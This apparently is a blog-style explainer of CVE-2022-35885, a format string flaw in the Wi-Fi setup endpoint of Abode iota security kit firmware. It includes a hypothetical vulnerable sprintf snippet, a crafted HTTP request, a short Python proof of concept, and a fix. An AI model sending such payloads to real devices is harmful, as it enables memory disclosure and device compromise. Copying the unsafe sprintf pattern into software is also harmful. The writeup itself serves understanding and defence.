CVE-2022-35885 refers to a set of four serious format string injection vulnerabilities found in the web interface of the Abode Systems, Inc. iota All-In-One Security Kit (firmware versions 6.9Z and 6.9X). The security issue sits specifically in the /action/wirelessConnect endpoint, which handles Wi-Fi setup. A malicious authenticated user can send a crafted HTTP request to corrupt memory, expose secrets, or even crash the device, causing a denial of service.

This post will break down how this bug works, why it happens, and how someone could exploit it.

Firmware: 6.9Z, 6.9X

- Web Endpoint: /action/wirelessConnect

The vulnerable part is the function that receives wireless connection data from the user through the web interface. The specific attack vector is the wpapsk_hex HTTP parameter.

What is a Format String Injection?

A format string injection allows an attacker to pass in formatting directives (like %s, %x) to a function such as printf() or sprintf() in C, which the program then interprets as instructions rather than raw data. Careless handling can result in:

The Vulnerable Handler

When a user connects the iota device to Wi-Fi, the web interface lets them send the pre-shared key in hexadecimal format as wpapsk_hex. If the backend code passes this value directly into something like sprintf() as a formatting string—without proper sanitization—it opens the door for attack.

Simplified vulnerable code

// Hypothetical snippet from /action/wirelessConnect handling on the device

char result[256];
const char* user_input = http_get_param("wpapsk_hex"); // user-supplied

// UNSAFE: No format string specified!
sprintf(result, user_input);

do_something_with(result);

If user_input is attacker-controlled and contains format specifiers, they are interpreted by sprintf() instead of being handled safely as plain text.

Exploit Scenario

1. Attacker logs in to the device's web interface.

2. Attacker sends an HTTP POST request to /action/wirelessConnect with a malicious wpapsk_hex parameter:

POST /action/wirelessConnect HTTP/1.1
Host: [iot_device_ip]
Content-Type: application/x-www-form-urlencoded
Content-Length: [length]

ssid=mywifi&wpapsk_hex=%x%x%x%x%x

3. The software executes

sprintf(result, "%x%x%x%x%x");


Which makes the device read raw values off the stack and print them to result.

Proof-of-Concept (PoC) Python request

import requests

url = 'http://[iot_device_ip]/action/wirelessConnect';
data = {
    'ssid': 'HomeNetwork',
    'wpapsk_hex': '%x%x%x%x%x'
}
session = requests.Session()
session.post(url, data=data, auth=('user', 'password'))


*(Replace [iot_device_ip] with your device's IP.)*

Real-World Impact

- Information Disclosure: An attacker could view sensitive data by causing it to be returned in error logs, web responses, or debugging output.

Denial of Service: Unhandled format string parsing could lead to device crash or instability.

- Remote Code Execution: With careful exploitation and depending on platform mitigations, attackers could write arbitrary values to memory, leading to full device takeover.

Mitigation

If you use an Abode iota Security Kit, upgrade firmware as soon as patches are available. Never trust raw user input in any printf-style function.

Secure Code Example

// Secure: Specify format, treat input as data
sprintf(result, "%s", user_input);

References & Further Reading

- Original exploit report at Talos Intelligence
- Common Weakness Enumeration: CWE-134
- Format String Vulnerabilities Explained (OWASP)

Closing

CVE-2022-35885 highlights the risks of unsanitized user input in embedded device web interfaces. Format string bugs like this should not appear in production code—but they still do, even in security devices. Always validate and safely format user input, and keep IoT devices up to date.

If you're researching or deploying smart home security, stay alert for these old-school but devastating bugs.

Timeline

Published on: 10/25/2022 17:15:00 UTC
Last modified on: 10/27/2022 15:18:00 UTC